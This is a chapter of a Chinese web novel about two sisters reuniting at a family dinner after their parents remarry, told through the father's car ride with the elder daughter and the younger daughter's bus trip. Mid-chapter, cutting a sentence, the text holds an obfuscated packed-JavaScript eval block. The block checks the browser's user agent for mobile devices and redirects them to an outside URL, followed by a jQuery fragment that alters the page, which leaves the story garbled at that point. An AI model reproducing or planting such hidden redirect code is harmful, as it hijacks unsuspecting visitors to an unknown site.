齐家复婚后的第一次家宴，定在今天晚上。
今天是个再好不过的日子：映年大学毕业，昭岁高考结束，父母新家装修完毕。各归其位。
回家，顺便搬离宿舍。
映年为了塞下行李，穿上最占体积的皮靴。这靴子大一冬促期间买的，平日里在特定场合才拿出来穿，每次脚都受罪，可脱下时还是拿专业鞋油翻来覆去擦。
她本来觉得麻烦，没想到出考场下了场雨，糟糕的下水系统让教学楼前的台阶处积了一滩水，靴子的高度正好能平平顺顺不绕路地趟过去。
东西是收拾好了的，一件一件往下搬，外头有雨，蛇皮口袋就暂时垒在一楼的过道里。
祁孝逑来时，她正坐在行李箱上看招聘信息，而那堆考试资料被扔进了垃圾袋里。
两人合力把袋子扛着去车上，大多是祁孝逑出力，她伸手拖着，手上还在打伞，两边没讨到好。于是搬第二个袋子时，她干脆撂给祁孝逑搬，她帮着打伞。
还剩个行李箱，映年想拖着走。祁孝逑不让，说溅水进拉链里面都湿了。她说是防水的，祁孝逑又说雨天泥多，全卷轮子上了。
映年不再说，由着他了。一手打伞，一手正正想去拿挂在行李箱上的垃圾袋。
她刚伸手过去，就被祁孝逑别开。
“垃圾。”
“噢。”
祁孝逑稍微靠过来，映年去拿，没想到祁孝逑又一转身，垃圾袋一下就被扯破了。
复习资料散落下来，网球拍要掉未掉，被祁孝逑一把手握着球拍柄，拿了起来。
映年不满睨祁孝逑一眼，把伞塞给他脖间夹着，把资料都捡起来，湿哒哒地还在滴水，全部扔进了垃圾桶里。
“不考了？”
“以前的，写过了。”
“噢。”
映年重新把伞打上，想要抓网球拍，被祁孝逑避开了。
“这不挺好，正好锻炼。”
“线都断了。”
“重新接上不就行了。”
“场地也没有。”
“停车场不就行了，搭个网。”
“而且只有一个啊。”
“还有一个……”祁孝逑问句戛然而止。
映年算是明白祁孝逑这费力搬行李箱的醉翁之意，她摊开手，不理他，伞也不打了，又塞出去，只撂下一句“那你自己扔吧”，走到副驾驶前开门坐下了。
不多时，后座被打开又关上。
映年扣上副驾驶的安全带，抱着胸没说话。
后座的书包上面放有一个断掉的网球拍。
“网球又没错。”祁孝逑开车上门说。
“是，网球又没错。”映年重复说。
祁孝逑没说话，启动车辆。
车窗打开，风肆虐响。
谁也不说话。
车至高架桥上，时速上升，祁孝逑关闭了所有车窗，打开空调。
“我回头扔给老张，他拿去玩。”祁孝逑让步。
“扔了。”映年说。
“老张平时锻炼……。”
“扔了。”映年打断。
祁孝逑“噢”一声，没再吭声。
半晌，他又道：“我真不觉得这有什么，再考不就行了吗？”
映年说：“你没资格这么说。”
祁孝逑带着缓和：“你妈马上退休了，平时运动打球。我也腰痛，网球不是挺好吗？”
雨变小了，一丝丝发粘，扑在脸上不觉得冷。过了会儿，雨彻底没了。窗外绿树红叶，因高速行进的越野车被抛下，不留眼底。
映年觉得空间挤，调整座位往后退，背靠椅背时，才有父母复婚的实感——齐美裳喜欢副驾驶坐得与祁孝逑平齐，所以总是调整到很前。这样想着，映年又按着座位钮，将座椅调到刚才的位置。
同样，欲出口的话，又咽了回去。
在轮胎减速短暂的颠簸中，映年成了先松口的人：“我到现在都没学会打网球。”
祁孝逑不置可否，随着减速带一起摁动了几个“嗯”，又讲起道路维修、路牌建设、车道变速这类无关紧要的话题。
争论并不持久，让旧事重提又赫然止住，回归每次父女俩的万金油话题。二人心知肚明讨论着在建的隧道，又讲出饶有兴致的问题，以方便下一句不会让对方落空。
映年熟练地应着声，打开手机无序地反复刷新社媒，点开帖子，推送的都是些教师考试相关，她刚浏览完第一行又退出，又循环于此。
微信的新消息成了破口。
映年点开看。
这是祁孝逑拉的四人群，邀请的理由是方便晚宴通知，大家又心知肚明这是复婚完毕的家庭群。
映年便带着礼貌地将群内称呼改为真名。
现在齐美裳在群里询问：出发了吗？
“还有多久？”映年抬头问祁孝逑。
作为三十年的司机，祁孝逑带着傲气，几乎不会使用导航，总是说“心中自有路况”，目前为止还不算吹牛。
“一个半小时。”祁孝逑说，“今天市政堵车。”
映年便打字：一个半小时。
齐美裳很快发来表情包，是一只开车的柴犬，配字是：一路顺风。
群里没人再说话。
映年往上翻，是上周五她发在群里的准考证。她的六级分足够看了，这一点，祁孝逑不懂。
“六级考试”延期家宴。是延期，不是取消。
再往上翻，是齐美裳询问菜单。一问一答，全是映年和齐美裳在说话。
齐美裳：映年想吃什么？或者有什么忌口？
映年：我只吃素，蛋奶可以。荤菜你们自己决定。
映年：爸爸胃病重，也少点。
齐美裳：#表情包/好！
对话便结束了。
四人中唯一没有冒泡的就是昭岁了。
映年在去年加过她微信好友，除了通过页面上的对话框，没人开口。
离婚时候，姐妹俩还没有一个手机，微信推出不够普遍。两人偶得上网机会，还在登录着□□账号的企鹅宠物小游戏，乐此不疲。
哪有想到能这样分开。
又哪有想到能这样重逢。
点进昭岁的朋友圈，三天可见，毫无内容。之前映年刷朋友圈也没刷到过昭岁，不知是真当不喜欢发，还是现在将她从屏蔽中拉出来了。
车内安静一会，祁孝逑又打开话题。
“毕业了，要不要去旅游？放松一下。”
“去哪？”映年问出后，又反应过来，这是如家宴群般的家庭旅游计划。
“都行啊，看你想去哪。”
“好，我先想想。”映年悻悻然应下。
祁孝逑突然问：“以歌演出好看吗？”
一直以来，祁孝逑对以歌的摇滚身份颇有微词，提起几乎居心叵测。
映年不咸不淡道：“你不是看过吗？”
这话没给祁孝逑留空
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016286|178458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处，可他还是硬接着话题夸赞两句。这让映年更加笃定接下来可能的话题。
果然，祁孝逑道：“你和以歌关系处得好，那我就放心了，昭岁应该和你也不会差。你和昭岁分开这么久，爸爸妈妈就是害怕你们太生疏。”
落日从躲藏的云出来，劈头洒下橘红的光，斜倚在门上的映年眼睛被闪，出现一个集中一团的黑点。
她在眩晕中，尽可能强硬说：“以歌姐愿意和我一起吃素。”
“昭岁还说要减肥呢，你正好和她一块呗。”祁孝逑说。
话刚落，群里有新消息。
是昭岁发的菜单。
映年憋闷着气。这菜式，可不像是在减肥。
祁孝逑显然也觉得别扭，继续找补说：“分开时候昭岁牙都没换完，没想到这么快都是大姑娘了。”
或许这是多年未见女儿的慨叹，也可能是为了接下来家宴破冰的提前练习，再大概能是为彼此缺位的十年进行微不足道的串联，总之，父女俩竟然不约而同地笑出来。
见面前一个小时，藏匿的尴尬无处遁形。
_
公交车时缓时快。
06号车会在拐弯上桥时，遇到另一辆交换车，单向的司机似乎有意识控制见面的时刻，有时候会在桥头有时候在桥尾，大多数是在桥中心。
过了桥，就到了中点站。
耽误或提早的时候一般是有闯红绿灯的路人，或者说是现在的情况：有人想硬塞上车。
昭岁偏爱不期而遇公交车重叠又错开，从起点站到终点站。她站在车窗旁，拉着扶手，见路灯亮起来。
七点了。
她迟到了。
车前门有争执声，后面没人说话。车上上班族多，也有放假的学生，他们略显疲态，一手吊着拉环，脑袋半倚着肩膀，一手举着手机在看。
如果说每趟班车恍若城市流动的血脉，高峰期就是无意戳破的脓疮，反复溃烂又自我愈合。
如若不是家宴，她不会来坐这趟高峰期的班车。
这几日天气转凉，公交车的空调也停了。现在人群密集，窗边稍稍带些凉风，昭岁感觉背已经汗湿了。
车厢里气味参杂。前头是一股运动后的汗味，往里走则是浓烈地药草味，现在昭岁站立的中段，是身旁吃的鸡柳香。
是，等会儿要去吃鸿门宴了。
昭岁想着特意筛选出的素食菜单，不知道对方是否满意，到现在也没吭声。
这时，齐美裳的电话又来了：“到哪了？”
“公交车，还差一个站。”
昭岁说着，停靠站的车突然启动了。
“这点路骑车不就行了。”
“没打气。”昭岁随口扯了个谎。
齐美裳说：“你爸已经到了。”
昭岁一愣。她的“爸”，一年前还是刘海洋，现在又转回到祁孝逑了。
昭岁抿抿唇，问：“你还有多久？”
齐美裳说：“马上。”
昭岁问：“大概多久？”
齐美裳说：“没多久。”
模棱两可的答案让昭岁惴惴不安。
她还是想问，好让心中确信：“几分钟？”
答案却未得昭岁所愿，齐美裳说：“快了快了。”
反复拉扯，薄弱了镇定，昭岁数着掠过的一排排商铺，感觉大限将至。
推她上断头台的就是车内广播，腾开的车门宛如挥动的砍刀，告诉她：“到站了。”